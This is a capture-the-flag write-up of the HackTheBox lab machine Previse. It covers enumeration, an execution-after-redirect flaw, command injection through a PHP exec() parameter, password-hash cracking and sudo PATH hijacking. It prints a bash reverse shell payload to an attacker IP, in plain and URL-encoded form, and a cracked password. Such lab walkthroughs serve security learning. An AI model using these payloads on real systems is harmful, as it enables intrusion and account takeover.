HackTheBox: Previse
linux burp-suite reverse-shell john-the-ripper linpeas sudoPrevise is a Linux-based machine authored by m4lwhere, with an average rating of 4.4 stars.
// Recon
nmap -A previse.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-10 15:56 AEST
Nmap scan report for previse.htb (10.10.11.104)
Host is up (0.022s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.86 seconds
// Initial Foothold
Like a lot of HTB machines, this one is only running ssh and a webserver. We can tell already from the nmap output that this is an Apache / PHP webserver, so a good place to begin looking for a way in is with gobuster
and a php-focused wordlist from the assetnote wordlists repo:
gobuster dir -u http://previse.htb/ -w ./wordlists.assetnote.io/httparchive_php_2020_11_18.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://previse.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /Sites/security-research/wordlists.assetnote.io/httparchive_php_2020_11_18.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/11/10 15:46:19 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 302) [Size: 2801] [--> login.php]
/login.php (Status: 200) [Size: 2224]
/status.php (Status: 302) [Size: 2966] [--> login.php]
/footer.php (Status: 200) [Size: 217]
/header.php (Status: 200) [Size: 980]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/config.php (Status: 200) [Size: 0]
/download.php (Status: 302) [Size: 0] [--> login.php]
/nav.php (Status: 200) [Size: 1248]
/files.php (Status: 302) [Size: 4914] [--> login.php]
/logs.php (Status: 302) [Size: 0] [--> login.php]
/accounts.php (Status: 302) [Size: 3994] [--> login.php]
/.php (Status: 403) [Size: 276]
/js (Status: 301) [Size: 307] [--> http://previse.htb/js/]
While this reveals a number of new urls to investigate, the majority of them seem to redirect to login.php
, for which we don’t have valid credentials yet. The key to moving forward at this point is to understand the nature of HTTP redirects - while we might think of them as “nothing to see here, go over there” concept, they are more of a suggestion, and the original url may indeed contain content. If we try to load http://previse.htb/index.php
in a normal browser, it will automatically follow the redirect to the login page. But if we use something like Burp Repeater (or curl in a terminal) that doesn’t automatically follow redirects, we can see that there is indeed content accessible on the page:
From here it’s straight-forward to issue a similar request (that ignores redirects) to the account creation page at /accounts.php
, then craft a POST request with the required header & parameters to setup a new account:
...
Content-Type: application/x-www-form-urlencoded
username=testuser&password=s3cret&confirm=s3cret
Once we have a valid account that we can log in with, we can browse the site and find some interesting content:
/files.php
provides a form to upload files, as well as download asitebackup.zip
/file_logs.php
allows us to download file access logs, providing the time, user and fileID
If we download the site backup archive we get access to all of the site’s PHP source code, which is always a great way to discover credentials, use of vulnerable function calls, developer comments etc. Browsing the files we can quickly determine several interesting facts:
config.php
indicates there is a MySQL server running on localhost, with a root password includeddownload.php
manages the downloading of files via a$_GET['file']
parameter, which must be an int that corresponds to an entry inprevise.files
mysql tablelogs.php
makes use ofexec()
to run an external python script, that accepts a$_POST['delim']
parameter -$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
Point 3 is an immediate security red flag - allowing untrusted input into a command context like this exposes the machine to command injection. Initial attempts to check if this worked via commands like whomai
, uname
etc were unsuccessful, but eventually I came across a reverse shell payload that looked compatible, given that it was also enclosed in a call to exec()
:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/443 0>&1'");?>
With penelope listening on port 4444
of our local machine, we can combine the shell command with a legitimate value for delim
:
delim=space;/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/4444 0>&1'
then url-encode it, and send it away:
delim=space%3b%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%35%2f%34%34%34%34%20%30%3e%26%31%27
And on our listening terminal, we get the connection:
[+] Listening for reverse shells on 0.0.0.0 🚪4444
[+] Got reverse shell from 🐧 previse.htb~10.10.11.104 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
$ whoami
www-data
// User-Own
We now have access as the www-data
user, but that doesn’t get us much. We can confirm the user.txt
file is at /home/m4lwhere/user.txt
, but the file permissions prevent us from accessing it. Turning our attention back to the source code archive for a moment, there is a config.php
file that includes the root login details for a locally running mysql server. Browsing around the available dbs, we find an accounts
table in the previse
db:
m4lwhere@previse:~$ mysql -uroot -p -h localhost -P 3306 previse
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> select * from accounts;
+----+------------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+------------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| ...
This gives us an encrypted hash, which we need to use a tool like John the Ripper to decrypt. A very common wordlist for cracking hashes in HTB machines is rockyou.txt
(included with Kali Linux), so let’s add our hash into a file previse.txt
and run it:
┌──(kali㉿kali)-[~]
└─$ john previse.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
John is usually pretty reliable when it comes to detecting has formats, so let’s stop the process and restart it with the recommended format flag:
┌──(kali㉿kali)-[~]
└─$ john previse.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovecody112235! (?)
1g 0:00:05:10 DONE (2021-11-12 00:14) 0.003217g/s 23855p/s 23855c/s 23855C/s
With the password retrieved, we’re now able to ssh in as the m4lwhere
user and recover the flag:
ssh m4lwhere@previse.htb
m4lwhere@previse.htb's password: ilovecody112235!
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)
...
$ cat ~/user.txt
1*******************************
// Privilege Escalation
As usual running something like LinPEAS is a good idea to quickly understand what options are available for privilege escalation. On this machine we learn that there is a backup script that our user has sudo privileges for:
m4lwhere@previse:~$ sudo -l
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
We don’t have permission to modify this script, but we can at least read it:
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
We can see that the gzip binary is specified without a path. Let’s check our user’s path, and where gzip is found:
m4lwhere@previse:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:~$ which gzip
/bin/gzip
Under normal circumstances, /bin/gzip
is run. But since we can control our user’s path, we’re able to change this to include our home directory first:
export PATH=~:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
and then create our own ‘special’ version of gzip in our home folder at /home/m4lwhere/gzip
:version of gzip
:
#!/bin/bash
cp /root/root.txt /tmp/root.txt
chmod 777 /tmp/root.txt
and if we run the script now using sudo:
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
we can see that our new script has done what we asked, with root privileges:
m4lwhere@previse:~$ ls -l /tmp/
total 20
-rwxrwxrwx 1 root root 33 Nov 12 06:04 root.txt
m4lwhere@previse:~$ cat /tmp/root.txt
a*******************************